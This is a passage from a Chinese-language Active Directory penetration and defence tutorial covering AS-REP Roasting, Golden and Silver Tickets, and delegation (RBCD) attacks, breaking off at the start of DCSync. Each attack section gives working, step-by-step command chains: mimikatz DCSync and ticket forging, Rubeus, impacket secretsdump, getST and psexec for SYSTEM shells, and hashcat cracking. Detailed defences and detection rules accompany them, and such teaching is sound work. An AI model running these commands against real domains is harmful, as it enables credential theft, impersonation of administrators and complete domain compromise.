   ★ 效果:票据用 AES 加密,即使拿到也【几乎无法破解】
     (AES 的破解难度比 RC4 高几个数量级)

③ 【服务账号加进 Protected Users 组】
   → 强制 AES、禁止 NTLM、禁止委派

【减少攻击面】

④ 【减少不必要的 SPN】
   没有服务在用却注册了 SPN 的账号,删掉 SPN

⑤ 【定期检查 Kerberoastable 账号】
   ★ 把下面这个检查做成季度巡检:
   # 列出所有带 SPN 且密码老的账号
   Get-ADUser -Filter {ServicePrincipalName -ne "$null"} `
       -Properties ServicePrincipalName, PasswordLastSet, LastLogonDate |
       Where-Object { $_.PasswordLastSet -lt (Get-Date).AddYears(-1) }

【检测】

⑥ 【监控 Event 4769(服务票请求)】★ 关键检测点
   关注异常特征:
   - 加密类型 = 0x17(RC4)★ 正常的现代环境应该用 AES(0x12/0x11)
   - 同一个客户端在短时间内请求【大量不同 SPN】的票
   - 请求来自【非服务器】的机器(办公机不该批量请求服务票)
   - 请求来自【服务账号本身】

   ★ 一条实用的 SIEM 规则:
     "同一个源 IP 在 5 分钟内请求超过 10 个不同的 SPN 服务票"
     → Kerberoasting 的典型特征

   # 查询 4769 事件
   Get-WinEvent -FilterHashtable @{ LogName='Security'; Id=4769 } -MaxEvents 1000 |
       ForEach-Object {
           $xml = [xml]$_.ToXml()
           [PSCustomObject]@{
               Time     = $_.TimeCreated
               Client   = ($xml.Event.EventData.Data | ? {$_.Name -eq 'IpAddress'}).'#text'
               Service  = ($xml.Event.EventData.Data | ? {$_.Name -eq 'ServiceName'}).'#text'
               Account  = ($xml.Event.EventData.Data | ? {$_.Name -eq 'TargetUserName'}).'#text'
               TicketEnc = ($xml.Event.EventData.Data | ? {$_.Name -eq 'TicketEncryptionType'}).'#text'
           }
       } | Group-Object Client | Where-Object { $_.Count -gt 10 }
   # TicketEncryptionType: 0x17 = RC4(危险), 0x12 = AES256(正常)

7.5.2 AS-REP Roasting

① 一句话原理

有些账号被配置了"不需要 Kerberos 预认证(DONT_REQUIRE_PREAUTH)"。
对这种账号,【任何人】都能直接向 KDC 要一张加密的 TGT 相关数据,
而且不需要知道密码。

拿回来之后离线暴力破解 → 可能解出明文密码。

★ 和 Kerberoasting 的区别:
   Kerberoasting :要的是【服务票】(用服务账号的密钥加密)
   AS-REP Roasting:要的是【AS-REP 的一部分】(用用户自己的密钥加密)

   Kerberoasting 需要:一个有效的域账号(任意)
   AS-REP Roasting 需要:★ 甚至【不需要任何域账号】(匿名即可)

② 为什么会有“不需要预认证”的账号

设计初衷:
  某些应用(比如老版本的 Unix 服务、某些网络设备)
  不支持 Kerberos 预认证(就是"用密码哈希加密时间戳"这一步)。
  为了兼容,AD 允许给账号关掉预认证。

现实:
  大部分这类账号是【历史遗留】——
  十年前为了兼容某个系统开的,那个系统早就下线了,
  但这个属性没人清理。

★ 讽刺的是:
  关掉预认证【反而降低了安全性】——
  本来要证明"我知道密码"才能拿到加密数据,
  关掉之后任何人都能拿到。

③ 实战

# ===== 步骤 1:找出不需要预认证的账号 =====

# 方法一:PowerShell(AD 模块)
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth

# 方法二:无 AD 模块(ADSI)
# userAccountControl 的 DONT_REQ_PREAUTH 位 = 0x400000 (4194304)
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.Filter = "(&(objectCategory=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))"
$searcher.PropertiesToLoad.Add("samaccountname")
$searcher.FindAll() | ForEach-Object { $_.Properties.samaccountname[0] }

# 方法三:Rubeus
Rubeus.exe asreproast /stats

# 方法四:impacket(Linux)
python3 GetNPUsers.py corp.local/ -dc-ip <DC_IP> -usersfile users.txt -format hashcat
# ★ 注意:corp.local/ 后面没有用户名 —— 表示匿名/未认证查询


# ===== 步骤 2:请求 AS-REP(获取可破解的哈希)=====

# Rubeus(Windows)
Rubeus.exe asreproast /user:svc_old /format:hashcat /outfile:asrep.txt
# 或批量
Rubeus.exe asreproast /format:hashcat /outfile:asrep_all.txt

# impacket(Linux)
python3 GetNPUsers.py corp.local/ -dc-ip <DC_IP> -request -format hashcat -outputfile asrep.txt

# 输出示例:
#   $krb5asrep$23$svc_old@CORP.LOCAL:9a5f8c2b...$3d1e8f7a...
#   ↑ 这是可以破解的


# ===== 步骤 3:离线破解 =====
hashcat -m 18200 asrep.txt rockyou.txt -O
# ★ 模式号 18200 = Kerberos 5 AS-REP etype 23

john --format=krb5asrep --wordlist=rockyou.txt asrep.txt

④ 防御

① 【找出并关闭所有"不需要预认证"的账号】★ 最直接
   # 列出
   Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth

   # 关闭(取消勾选)
   Set-ADUser -Identity svc_old -DoesNotRequirePreAuth $false
   # 或用 ADSI
   #   在 ADUC 里:用户属性 → 账户 → 账户选项
   #   → 取消"不要求 Kerberos 预身份验证"

② 【如果真的必须开(兼容性),用超长随机密码】
   和 Kerberoasting 一样——破解不出来就没用

③ 【检测 Event 4768(TGT 请求)】
   关注:
   - PreAuthType = 0(没有预认证)★ 正常应该 >= 2
   - 同一个客户端短时间内请求大量不同用户的 TGT
   - 请求来自非预期的机器

   ★ SIEM 规则:
     "同一源 IP 在 5 分钟内发起超过 5 次 PreAuthType=0 的 TGT 请求"

7.5.3 黄金票据(Golden Ticket)

这是域渗透的“核武器”。拿到它 = 永久控制整个域(只要不重置 krbtgt)。

① 一句话原理

TGT 是用【krbtgt 账号的密码哈希】加密的。
如果攻击者拿到了 krbtgt 的 Hash(通过 DCSync 或拿下域控),
他就能【自己签发任意 TGT】——
把自己写成任何用户、加进任何组(包括 Domain Admins)。

因为 TGT 是 Kerberos 信任的根,
所有域控和服务器都会【信任这张票】(它是用 krbtgt 的密钥签的,验签通过)。

生活类比:

游乐园的通行证(TGT)是盖了"总办公室的钢印"的。
钢印的模具(krbtgt 的密钥)放在总办公室的保险柜里。

如果有人偷到了这个模具,
他就能在自己的地下室里印通行证,
想写谁的名字就写谁的名字,想印什么等级就印什么等级。

而且所有项目的检票员看到"钢印是真的"就放行——
他们没有能力也没有义务去查"这张票是不是总办公室印的"。

② 为什么它这么可怕(四个“绕过”)

① 【绕过密码】
   不需要知道任何用户的密码,票据里 PAC 想写谁就是谁

② 【绕过权限检查】
   可以把 PAC 里塞进 Domain Admins、Enterprise Admins 的 SID
   ★ 甚至可以塞【根本不存在的组】的 SID(比如 RID 525 = 内置管理员)

③ 【绕过过期时间】
   有效期想写多久写多久(写 10 年)

④ 【绕过 krbtgt 密码轮换的检测】
   ★ 最阴险的一点:
     即使管理员改了所有用户的密码、重置了机器账号,
     只要【krbtgt 的密码没改】,黄金票据依然有效。
     而 krbtgt 的密码【默认从不轮换】。

★ 唯一的解药:
   【重置 krbtgt 的密码(而且要重置两次)】
   ——见下面的防御部分

③ 需要什么

① krbtgt 账号的 NTLM Hash(或 AES256 密钥)
   ★ 获取方式:DCSync(7.5.6)、拿下域控后 dump NTDS.dit、
               或 lsadump::dcsync

② 域名(如 corp.local)
③ 域的 SID(如 S-1-5-21-3623811015-3361044348-30300820)
   ★ 注意:是【域 SID】,不是某个用户的 SID
     域 SID = 用户 SID 去掉最后一段 RID

④ 要冒充的用户名(可以是【不存在的用户】,★ 这招很隐蔽)

④ 实战

# ===== 步骤 1:拿到 krbtgt 的 Hash(以 DCSync 为例)=====
# 需要有域复制权限(Domain Admins / Enterprise Admins / 或被委派了权限的账号)

mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt
# 输出:
#   ** SAM ACCOUNT **
#   SAM Username         : krbtgt
#   Object Relative ID   : 502
#   Credentials:
#     Hash NTLM: 8b5f2c1d9e3a7f6b4c8d2e1f5a9b3c7d      ← ★ 这就是要的
#     aes256_hmac        : 3f8a2b...

# 或者用 impacket(Linux)
python3 secretsdump.py corp.local/administrator:password@dc01.corp.local -just-dc-user krbtgt


# ===== 步骤 2:拿到域 SID =====
# 方法一
whoami /user
#   S-1-5-21-3623811015-3361044348-30300820-1105
#   去掉最后一段 → S-1-5-21-3623811015-3361044348-30300820   ← 域 SID

# 方法二
wmic useraccount get name,sid
# 或者
Get-ADDomain | Select-Object DomainSID


# ===== 步骤 3:伪造黄金票据 =====

# mimikatz
mimikatz # kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-3623811015-3361044348-30300820 /krbtgt:8b5f2c1d9e3a7f6b4c8d2e1f5a9b3c7d /ptt
#   /user   : 要伪造的用户名(★ 可以是不存在的用户!)
#   /domain : 域名
#   /sid    : 域 SID
#   /krbtgt : krbtgt 的 NTLM Hash
#   /ptt    : 直接注入到当前会话(Pass-the-Ticket)
#   /ticket : 保存成文件(不注入)

# ★ 指定组(默认会塞进 Domain Admins 等)
mimikatz # kerberos::golden /user:hacker /domain:corp.local /sid:<域SID> /krbtgt:<Hash> /groups:512,519,520,518,513 /ptt
#   组 RID 说明:
#     512 = Domain Admins
#     513 = Domain Users
#     518 = Schema Admins
#     519 = Enterprise Admins
#     520 = Group Policy Creator Owners
#     ★ 还可以塞 525(内置管理员组,这个组在域里【不存在】,
#       但 Windows 内核认这个 RID,权限极高,且常规审计看不到)

# ★ 指定有效期(默认 10 年)
mimikatz # kerberos::golden /user:Administrator /domain:corp.local /sid:<域SID> /krbtgt:<Hash> /startoffset:0 /endin:6000 /renewmax:100000 /ptt
#   /startoffset : 票据生效时间的偏移(分钟)
#   /endin       : 有效期(分钟)
#   /renewmax    : 最大续订时长

# ★ 用 AES 密钥(更隐蔽,因为现代环境多为 AES)
mimikatz # kerberos::golden /user:Administrator /domain:corp.local /sid:<域SID> /aes256:<krbtgt的AES256密钥> /ptt

# ★ 保存成文件(在其他机器上用)
mimikatz # kerberos::golden /user:Administrator /domain:corp.local /sid:<域SID> /krbtgt:<Hash> /ticket:golden.kirbi
# 然后在目标机器上:
mimikatz # kerberos::ptt golden.kirbi


# Rubeus(更现代)
Rubeus.exe golden /user:Administrator /domain:corp.local /sid:<域SID> /krbtgt:<Hash> /ptt
Rubeus.exe golden /aes256:<AES密钥> /user:Administrator /domain:corp.local /sid:<域SID> /ptt


# impacket(Linux,生成 ccache)
python3 ticketer.py -nthash <krbtgt的NTHash> \
    -domain-sid S-1-5-21-3623811015-3361044348-30300820 \
    -domain corp.local Administrator
# 生成 Administrator.ccache
export KRB5CCNAME=Administrator.ccache
python3 psexec.py corp.local/administrator@dc01.corp.local -k -no-pass


# ===== 步骤 4:使用 =====
# 现在你是"域管"了,可以做任何事:
dir \\dc01\c$                                        # 访问域控
python3 secretsdump.py corp.local/administrator@dc01.corp.local -k -no-pass   # 拿所有哈希
psexec \\any-machine cmd.exe                          # 横向到任何机器

# ★ 甚至可以访问"不存在的用户"才能访问的资源

⑤ 防御黄金票据(★ 重点,这是唯一的解药)

【核心:重置 krbtgt 的密码,而且要重置两次】

为什么是两次?
  Windows 保存了 krbtgt 的【当前密码 Hash】和【上一个密码 Hash】
  (为了平滑过渡,避免正在使用的票据突然失效)。
  也就是说,攻击者用"上一版"的 Hash 造的票依然有效。

  所以:
    第一次重置:当前 Hash 变了,但"上一个 Hash"还是旧的
                → 攻击者用旧 Hash 造的票【依然有效】
    第二次重置:连"上一个 Hash"也变了
                → 所有用旧 Hash 造的票全部失效

  ★ 两次之间要间隔【至少 10 小时】(一个 TGT 的默认有效期),
    确保所有正在使用的合法票据都已过期或被刷新。
    保守做法是间隔 24 小时。
# ===== 重置 krbtgt 密码(微软官方脚本法)=====

# ★ 微软提供了官方脚本:Reset-KrbtgtKeyForDomainController
#   (在 New-KrbtgtKeys.ps1 脚本里,微软 TechNet 发布)

# 第一次重置(模拟模式,先看看会有什么影响)
New-KrbtgtKeys -DomainController dc01.corp.local -SimulationMode

# 第一次真实重置
New-KrbtgtKeys -DomainController dc01.corp.local

# ★ 等待 10~24 小时(让所有票据刷新)

# 第二次重置
New-KrbtgtKeys -DomainController dc01.corp.local


# ===== 手工重置(如果不能用脚本)=====

# 用 AD 模块(推荐,它会正确处理密码历史)
Import-Module ActiveDirectory
# ★ 注意:不要用 Set-ADAccountPassword 的方式,
#   要用下面的"生成随机密码再设回去"的方式
$user = Get-ADUser krbtgt -Properties msDS-KeyVersionNumber
Write-Host "当前 krbtgt 密钥版本号: $($user.'msDS-KeyVersionNumber')"

# 方法:用 kadmin 风格的操作(微软脚本内部就是这么做的)
# 简化版:用 PowerShell 生成一个复杂密码并设置
$newPass = -join ((33..126) | Get-Random -Count 128 | ForEach-Object { [char]$_ })
Set-ADAccountPassword -Identity krbtgt -Reset -NewPassword (ConvertTo-SecureString -AsPlainText $newPass -Force)
# ★ 注意:这样设置的 msDS-KeyVersionNumber 可能不会正确递增,
#   生产环境强烈建议用微软官方脚本

# 验证密钥版本号(★ 每次重置应该 +1)
Get-ADUser krbtgt -Properties msDS-KeyVersionNumber |
    Select-Object Name, msDS-KeyVersionNumber
#   正常域里这个值是 2(因为域安装时已经设置过两次)
#   重置一次 → 变 3,重置两次 → 变 4

其他防御措施:

① 【定期重置 krbtgt】
   ★ 建议:每 180 天重置一次(微软现在的建议是至少一年一次,
     但遭到过入侵的域必须立刻重置两次)
   ★ 把它做成日历提醒,因为平时没人会想起来

② 【保护域控,别让 krbtgt 被拿到】
   - 严格限制谁能登录域控
   - 域控上不开任何其他服务(不装浏览器、不办公)
   - 域控用单独的 Tier 0 管理员账号管理
   - 域控不入互联网的更新(用 WSUS 内部源)

③ 【限制并监控 DCSync 权限】
   - 审计谁有"复制目录更改"权限(见 7.5.6 防御)
   - 监控 Event 4662(目录服务访问)

④ 【检测黄金票据的使用】
   ★ 关键特征:
     a) 票据里的用户【不存在】(攻击者常伪造不存在的用户名)
        → 检测:4769/4624 事件里的用户名在 AD 里查不到
     b) 票据的加密类型与域的默认配置不符
     c) 票据有效期异常(默认 10 小时,黄金票据可能写 10 年)
     d) 登录来自"从未见过"的工作站
     e) ★ 最可靠的检测:【重置 krbtgt 后】如果还有票据能用,
        说明有黄金票据存在(因为合法票据都会失效)

⑤ 【分层管理 + PAW】
   特权操作只在专门的特权访问工作站(PAW)上进行,
   这类工作站有更严格的管控和监控

⑥ 【长期:迁移到 Windows Hello for Business / FIDO2】
   用【基于证书的认证】替代密码认证
   → 没有 NTLM Hash 可用 → 黄金票据失去意义
   ★ 这是微软推荐的长期方向,但改造周期长

7.5.4 白银票据(Silver Ticket)

① 一句话原理

服务票(ST)是用【服务账号的密码哈希】加密的。
如果攻击者拿到了某个服务账号的 Hash(比如通过 Kerberoasting 破解、
或者 dump 了那台机器的内存),
他就能【伪造访问这个服务的票】,而不需要跟域控打交道。

★ 和黄金票据的区别:
   黄金票据:伪造 TGT(用 krbtgt 的 Hash)→ 能访问任何服务
   白银票据:伪造服务票(用服务账号的 Hash)→ 只能访问某个特定服务

★ 白银票据【更隐蔽】:
   因为它【根本不联系域控】!
   域控上不会产生 4769(服务票请求)日志。

② 对比表

维度 黄金票据 白银票据
伪造的是什么 TGT(门票) 服务票 ST
需要什么密钥 krbtgt 的 Hash 服务账号的 Hash
能访问什么 任何服务 只有特定服务(如 CIFS/file-server)
是否联系域控 需要(去换服务票) 不需要(直接给服务器)
域控上有没有日志 有(4769) 没有(域控不知情)★
检测难度 中 高
防御 重置 krbtgt 改服务账号密码
权限来源 需要 krbtgt(域管级) 只需要一个服务账号

③ 实战

# ===== 前提:拿到服务账号的 NTLM Hash =====
# 比如通过 Kerberoasting 破解出 svc_sql 的密码,算出 NTLM Hash
# 或者在那台机器上 dump 了机器账号的 Hash(机器账号也是服务账号!)

# ★ 机器账号的 Hash 很有用:
#    每台域内机器都有一个机器账号(如 PC001$),
#    它注册了很多 SPN(HOST/PC001、CIFS/PC001 等)
#    拿到 PC001$ 的 Hash → 能伪造访问 PC001 上任何服务的票

# 拿机器账号 Hash(在那台机器上,需要 SYSTEM/admin)
mimikatz # sekurlsa::logonpasswords     # 找机器账号的 NTLM
# 或者
mimikatz # lsadump::sam                 # 本地 SAM,里面有机器账号

# ★ 注意:域管的 Hash 也能用来造白银票据访问任何机器
#   因为域管默认是所有机器的本地管理员


# ===== 伪造白银票据 =====

# 语法(mimikatz):
# kerberos::golden /domain:<域名> /sid:<域SID> /target:<目标主机FQDN>
#                  /service:<服务类型> /rc4:<服务账号的NTLM Hash>
#                  /user:<要伪造的用户名> /ptt

# 示例 1:伪造访问文件服务器 CIFS 服务的票
mimikatz # kerberos::golden /domain:corp.local /sid:S-1-5-21-3623811015-3361044348-30300820 /target:file-server.corp.local /service:CIFS /rc4:7d3c1b9f2e5a8c4b6d1f3e9a5c7b2d8f /user:Administrator /ptt

# 执行后:
dir \\file-server\c$      # ★ 可以访问了!(而且域控上没有任何日志)

# 示例 2:伪造访问 LDAP 服务的票(可以操作 AD!)
mimikatz # kerberos::golden /domain:corp.local /sid:<域SID> /target:dc01.corp.local /service:LDAP /rc4:<机器账号Hash> /user:Administrator /ptt
# 然后可以用 LDAP 工具操作 AD(加用户、改权限)

# 示例 3:伪造访问 HOST 服务的票(可以 WMI/计划任务远程执行)
mimikatz # kerberos::golden /domain:corp.local /sid:<域SID> /target:pc001.corp.local /service:HOST /rc4:<PC001$的Hash> /user:Administrator /ptt
# 然后:
wmic /node:pc001 process call create "cmd.exe /c whoami"
schtasks /create /s pc001 /tn test /tr "calc.exe" /sc once /st 00:00

# 示例 4:常用服务类型清单
#   CIFS   文件共享(访问 \\host\c$、读写文件)
#   HOST   主机服务(WMI、计划任务、服务管理、PsExec)
#   LDAP   目录服务(操作 AD)★ 很危险
#   HTTP   Web 服务(访问 IIS/Exchange/ADFS)
#   MSSQLSvc   SQL Server
#   RPCSS  RPC 服务
#   WinRM  Windows 远程管理(HTTP/5985)

# ★ 可以一次造多个服务的票(用 /service:CIFS,HOST,LDAP)
#   或者直接造 HOST + CIFS 就够了


# ===== 查看已有的票 =====
mimikatz # kerberos::list
klist

④ 防御白银票据

【核心:保护服务账号和机器账号的 Hash】

① 【服务账号用 gMSA】★ 最有效
   密码 240 字节随机 + 30 天自动轮换 + 没人知道
   → 拿不到 Hash,就算拿到也很快失效

② 【定期轮换机器账号密码】
   - 默认机器账号每 30 天自动改一次(域策略控制)
   - 可以手动触发:
     Reset-ComputerMachinePassword
     netdom resetpwd /s:dc01 /ud:corp\admin /pd:*
   ★ 但注意:重置机器密码会导致"用旧 Hash 造的票"失效

③ 【加进 Protected Users 组】(针对服务账号)
   强制 AES,让 RC4 的票造不出来

④ 【限制谁能 dump 机器内存】
   - 不让普通域用户是任何机器的本地管理员
   - LAPS(每台机器本地管理员密码不同)

⑤ 【检测】★ 这是难点,因为域控上没有日志
   可行的检测点:
   a) 目标【服务器】上的 4624 日志(会有一次登录,但没有对应的 4769)
      ★ 特征:有 4624(登录成功)但【域控上没有 4769(服务票请求)】
      → 这是白银票据最明显的特征!
   b) 票据的加密类型异常(RC4 而环境已强制 AES)
   c) 票据里的用户名不存在
   d) 访问来源异常(从没见过的机器)

   ★ SIEM 规则建议:
     "服务器上有 4624 登录事件,但在同一时间窗口内,
      域控上没有对应账号的 4769 服务票请求事件"
     → 白银票据的高度可疑特征

7.5.5 委派攻击(Delegation)

这是最复杂的一类 Kerberos 攻击,但也是真实环境里最常见的高危配置。

① 什么是委派(先讲清楚)

一句话定义:委派允许一个服务“代表用户”去访问另一个服务。

生活类比(讲透):

你去餐厅吃饭(用户 → Web 服务):
  ① 你把会员卡给服务员(Web 服务)
  ② 服务员拿着你的卡去后厨说:"3 号桌的客人要一份牛排"(代表你去访问数据库)
  ③ 后厨认卡不认人,看到是你的会员卡就做了

★ 为什么要这样?
  因为 Web 服务需要"以你的权限"去数据库取数据,
  而不是以 Web 服务自己的权限(否则权限就太大了)。

★ 风险在哪?
  如果服务员是坏人(Web 服务被攻陷),
  他可以拿着你的卡去后厨说:"把整个冰箱都给我"
  甚至可以把你的卡【复制一份留着以后用】。

② 三种委派类型

【① 非约束委派(Unconstrained Delegation)】★★★★★ 最危险

  规则:被配置了非约束委派的服务,
        可以【保留并使用】任何访问它的用户的【TGT】。

  ★ 后果:如果一个【域管】访问了这台机器/服务,
          他的 TGT 就留在了这台机器的内存里。
          拿下这台机器 = 拿到域管的 TGT = 域管身份。

  ★ 攻击手法(打印机 Bug / SpoolSample):
    强制域控主动来连你(用 MS-RPRN 的 RpcRemoteFindFirstPrinterChangeNotificationEx)
    → 域控的机器账号(有 TGT)来认证
    → 你拿到域控机器账号的 TGT
    → 用域控机器账号的 TGT 做 DCSync!

  配置位置:
    计算机属性 → 委派 → "信任此计算机来委派任何服务(仅 Kerberos)"
    用户属性   → 委派 → 同上

  检测:
    Get-ADComputer -Filter {TrustedForDelegation -eq $true}
    Get-ADUser     -Filter {TrustedForDelegation -eq $true}


【② 约束委派(Constrained Delegation)】★★★☆☆

  规则:比非约束收紧了——
        服务只能代表用户访问【白名单里指定的服务】。

  例子:Web 服务器只能代表用户访问 MSSQLSvc/db01,
        不能访问 CIFS/file-server。

  ★ 但仍有风险:
    a) 白名单里的服务依然可以被访问(拿下 Web = 能访问 db01)
    b) ★ 协议转换(Protocol Transition):
       如果勾了"使用任何身份验证协议",
       攻击者可以【伪造一个不存在的用户】让服务去委派
       → 比如伪造"Administrator"去访问 db01
       ★ 这个组合(约束委派 + 协议转换)被称为"S4U2Self + S4U2Proxy"攻击

  配置位置:
    计算机/用户属性 → 委派 → "仅信任此计算机来委派指定的服务"
    msDS-AllowedToDelegateTo 属性 = 允许委派到的 SPN 列表

  检测:
    Get-ADComputer -Filter {msDS-AllowedToDelegateTo -ne "$null"} `
        -Properties msDS-AllowedToDelegateTo, TrustedToAuthForDelegation


【③ 基于资源的约束委派(RBCD, Resource-Based Constrained Delegation)】★★★★☆

  规则:和约束委派【方向相反】——
        由【资源方】(被访问的服务)决定"谁可以代表别人来访问我"。

  例子:db01 上配置"WebServer$ 可以代表用户访问我"。

  ★ 攻击价值:
    如果你对某台机器(比如 PC001)有【写权限】(比如 GenericWrite、
    或者你是它的本地管理员、或者你有 AddMember 权限),
    你就可以【给自己配置 RBCD】,让自己能代表任何人访问 PC001。

    然后你用 S4U2Self + S4U2Proxy 伪造 Administrator 的票,
    拿到 PC001 的【完全控制权】。

    ★ 关键:这个攻击【不需要域管权限】,
      只需要对目标机器对象有写权限(很多域里普通用户对某些机器有这种权限)

    更狠的组合:如果对【域控的计算机对象】有写权限 → 直接拿下域控!

  属性:msDS-AllowedToActOnBehalfOfOtherIdentity

③ 实战:RBCD 攻击(最实用)

# ===== 场景 =====
# 你对 PC001 这台机器的 AD 对象有写权限(GenericWrite / WriteDacl / 或类似)
# 你想拿下 PC001

# ===== 步骤 1:确认权限(用 BloodHound 或 PowerView)=====
Import-Module .\PowerView.ps1
Get-ObjectAcl -Identity PC001 -ResolveGUIDs |
    Where-Object { $_.ActiveDirectoryRights -match "Write|GenericAll" }
# 看你的账号在不在里面

# ===== 步骤 2:创建一个机器账号(或者用已有的)=====
# ★ 为什么要用机器账号:因为机器账号默认带 SPN,可以做委派
#   而且【任何域用户默认都能创建最多 10 个机器账号】(MachineAccountQuota 默认 10)

# 方法一:PowerMad(推荐)
Import-Module .\PowerMad.ps1
New-MachineAccount -MachineAccount "evilPC" -Password $(ConvertTo-SecureString "P@ssw0rd123" -AsPlainText -Force)
# 或者指定域控
New-MachineAccount -MachineAccount "evilPC" -DomainController dc01.corp.local -Verbose

# 方法二:impacket(Linux)
python3 addcomputer.py corp.local/user:password -computer-name 'evilPC$' -computer-pass 'P@ssw0rd123' -dc-ip <DC_IP>

# 验证
Get-ADComputer evilPC


# ===== 步骤 3:在目标机器 PC001 上配置 RBCD(让自己能代表别人访问它)=====
# ★ 这一步需要"对 PC001 的 msDS-AllowedToActOnBehalfOfOtherIdentity 有写权限"

# 用 PowerView
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-xxx-xxx-xxx-1234)"
#   ↑ 上面这串 SID 是 evilPC$ 的 SID
#   获取 SID:
$evilSid = (Get-ADComputer evilPC).SID.Value
Write-Host "evilPC 的 SID: $evilSid"

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$evilSid)"
# ★ 这串权限的含义(了解即可):
#   O:BA  = Owner 是 Builtin Administrators
#   D:    = DACL
#   (A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SID)  = 允许 SID 做很全的操作
#     CC = Create Child    DC = Delete Child
#     LC = List Children   SW = Self Write
#     RP = Read Property   WP = Write Property
#     DT = Delete Tree     LO = List Object
#     CR = Control Access  SD = Delete
#     RC = Read Control    WD = Write Dacl
#     WO = Write Owner

$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)

# 写入到 PC001 的属性
Get-DomainComputer PC001 | Set-DomainObject -Set @{
    'msDS-AllowedToActOnBehalfOfOtherIdentity' = $SDBytes
}

# 验证
(Get-ADComputer PC001 -Properties msDS-AllowedToActOnBehalfOfOtherIdentity).'msDS-AllowedToActOnBehalfOfOtherIdentity'


# ===== 步骤 4:用 S4U2Self + S4U2Proxy 伪造票据 =====

# 4.1 算出 evilPC$ 的 NTLM Hash(用我们设置的密码)
#   impacket 或自己算:
python3 -c "
import hashlib, binascii
h = hashlib.new('md4', 'P@ssw0rd123'.encode('utf-16le')).digest()
print(binascii.hexlify(h).decode())
"
# 输出 evilPC 的 NTLM Hash

# 4.2 用 impacket 的 getST.py 伪造票据
python3 getST.py -spn "CIFS/PC001.corp.local" \
    -impersonate "Administrator" \
    -dc-ip <DC_IP> \
    corp.local/evilPC\$:'P@ssw0rd123'
#   -spn           : 要访问的服务(★ 决定了能干什么)
#                    CIFS = 文件共享
#                    HOST = 可以 WMI / 计划任务 / PsExec
#                    LDAP = 操作 AD(如果目标是域控)
#   -impersonate   : 要冒充的用户(★ 可以是 Administrator,不需要他的密码!)
#   corp.local/evilPC$ : 我们用自己创建的机器账号

# 输出:Administrator.ccache 生成

# 4.3 使用票据
export KRB5CCNAME=Administrator.ccache
python3 wmiexec.py corp.local/administrator@PC001.corp.local -k -no-pass
python3 secretsdump.py corp.local/administrator@PC001.corp.local -k -no-pass

# ★ 如果要拿 shell,用 HOST 服务的票
python3 getST.py -spn "HOST/PC001.corp.local" -impersonate "Administrator" \
    -dc-ip <DC_IP> corp.local/evilPC\$:'P@ssw0rd123'
export KRB5CCNAME=Administrator.ccache
python3 psexec.py corp.local/administrator@PC001.corp.local -k -no-pass
# → SYSTEM 权限的 shell


# ===== 完整流程总结(记住这六步)=====
# ① 找一个你能写 AD 对象的机器(BloodHound 查)
# ② 创建一个机器账号(默认可以创建 10 个)
# ③ 在目标机器上配 RBCD(把自己加进 AllowedToActOnBehalfOfOtherIdentity)
# ④ 用 S4U2Self 为自己(evilPC$)要一张"代表 Administrator"的票
# ⑤ 用 S4U2Proxy 把这张票换成"访问 CIFS/HOST/PC001"的服务票
# ⑥ 用这张票访问 PC001,你是 Administrator(或任何你冒充的人)

# ★ Windows 上也可以用 Rubeus 做 ④⑤
Rubeus.exe hash /password:P@ssw0rd123 /user:evilPC$ /domain:corp.local
Rubeus.exe s4u /user:evilPC$ /rc4:<evilPC的Hash> /impersonateuser:Administrator /msdsspn:CIFS/PC001.corp.local /ptt
dir \\PC001\c$

④ 防御委派攻击

【① 清理不必要的委派配置】★ 最重要
   # 找所有非约束委派
   Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation
   Get-ADUser     -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation

   # 找所有约束委派
   Get-ADComputer -Filter {msDS-AllowedToDelegateTo -ne "$null"} `
       -Properties msDS-AllowedToDelegateTo, TrustedToAuthForDelegation

   # 找所有 RBCD 配置
   Get-ADComputer -Filter {msDS-AllowedToActOnBehalfOfOtherIdentity -ne "$null"} `
       -Properties msDS-AllowedToActOnBehalfOfOtherIdentity

   ★ 对于每个委派,问三个问题:
     - 这个服务真的需要委派吗?
     - 委派的目标是最小必要的吗?
     - 这个服务有多可信(是不是容易被攻陷)?

【② 敏感账号禁止被委派】★ 关键
   # 把特权账号标记为"敏感且不能被委派"
   Set-ADUser -Identity administrator -AccountNotDelegated $true
   Set-ADUser -Identity krbtgt -AccountNotDelegated $true

   # 或者用组策略统一:
   #   计算机配置 → 策略 → Windows 设置 → 安全设置 → 本地策略 → 用户权限分配
   #   → "拒绝作为委派信任的计算机和用户"

   # ★ 把 Domain Admins / Enterprise Admins 及其服务账号全部标记

【③ 特权账号加进 Protected Users 组】
   → 禁止委派(非约束和约束都不行)

【④ 把域控标记为"敏感"】
   域控的计算机属性 → 委派 → "敏感帐户,不能被委派"

【⑤ 限制 MachineAccountQuota】★ 挡住 RBCD 的第一步
   # 默认任何域用户都能创建 10 个机器账号
   # 改成 0(但可能影响正常的加域流程)
   Set-ADDomain -Identity corp.local -Replace @{"ms-DS-MachineAccountQuota"="0"}

   # 查看当前值
   (Get-ADDomain).'ms-DS-MachineAccountQuota'

【⑥ 清理对计算机对象的过度写权限】
   ★ 用 BloodHound 找出"哪些用户对哪些机器有 GenericWrite/WriteDacl"
   然后清理掉不该有的

【⑦ 检测】
   a) Event 4741(计算机账号被创建)
      ★ 关注:短时间内大量创建、创建者不是正常的加域流程账号
   b) Event 5136(目录对象被修改)
      ★ 关注:msDS-AllowedToActOnBehalfOfOtherIdentity 属性的修改
   c) Event 4769 的 S4U 特征(TransitedServices 字段)
   d) 监控 MachineAccountQuota 是否被改大

7.5.6 DCSync

① 一句话原理

域控之间需要同步数据(多域控环境),这个同步用的就是【目录复制协议】(MS-DRSR)。
